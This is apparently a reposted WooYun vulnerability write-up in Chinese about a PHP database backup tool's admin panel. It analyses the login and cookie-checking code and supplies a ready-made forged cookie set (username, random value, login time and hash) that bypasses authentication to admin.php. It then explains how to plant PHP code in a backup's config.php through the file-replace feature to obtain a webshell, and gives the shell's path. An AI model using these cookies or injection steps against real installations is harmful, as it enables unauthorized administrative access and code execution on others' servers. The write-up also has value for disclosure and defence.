转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591 1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456) 登录成功设置4个cookie,看代码
PHP Code复制内容到剪贴板
functionlogin($lusername,$lpassword,$key,$lifetime=0){
global$set_username,$set_password,$set_loginauth,$set_loginkey;
if(emptyempty($lusername)||emptyempty($lpassword)){
printerror("EmptyLoginUser","index.php");
}
if(!$set_loginkey)
{
if($key<>getcvar(\’checkkey\’)||emptyempty($key))
{
printerror("FailLoginKey","index.php");
}
}
if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
{
printerror("ErrorUser","index.php");
}
if($set_loginauth&$set_loginauth!=$_POST[\’loginauth\’])
{
printerror("ErrorLoginAuth","index.php");
}
$logintime=time();
$rnd=make_password(12);
$s1=esetcookie("bakusername",$lusername,0);
$s2=esetcookie("bakrnd",$rnd,0);
$s3=esetcookie("baklogintime",$logintime,0);
Ebak_SCookieRnd($lusername,$rnd);
if(!$s1||!$s2)
{
printerror("NotOpenCookie","index.php");
}
printerror("LoginSuccess","admin.php");
}
再看看make_password函数
PHP Code复制内容到剪贴板
functionmake_password($pw_length){
$low_ascii_bound=50;
$upper_ascii_bound=122;
$notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
while($i<$pw_length)
{
mt_srand((double)microtime()*1000000);
$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
if(!in_array($randnum,$notuse))
{
$password1=$password1.chr($randnum);
$i++;
}
}
return$password1;
}
这个函数只是生成随机数,再看看Ebak_SCookieRnd函数
PHP Code复制内容到剪贴板
functionEbak_SCookieRnd($username,$rnd){
global$set_loginrnd;
$ckpass=md5(md5($rnd.$set_loginrnd).\’-\’.$rnd.\’-\’.$username.\’-\’);
esetcookie("loginebakckpass",$ckpass,0);
}
下面给出万能cookie(key:value):
XML/HTML Code复制内容到剪贴板
ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
ebak_bakrnd:35y5cCnnA4Kh
ebak_bakusername:admin
ebak_baklogintime:4070883661
使用以上cookie即可直接访问admin.php 2.拿shell 后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库 备份数据,随便找个数据库备份, 然后到替换目录文件内容里,选择刚才备份的数据库, 将”$b_table=” 替换成 “phpinfo(); $b_table=”
这里shell的路径就是bdata/mysql_20141007221849/config.php
这里shell的路径就是bdata/mysql_20141007221849/config.php
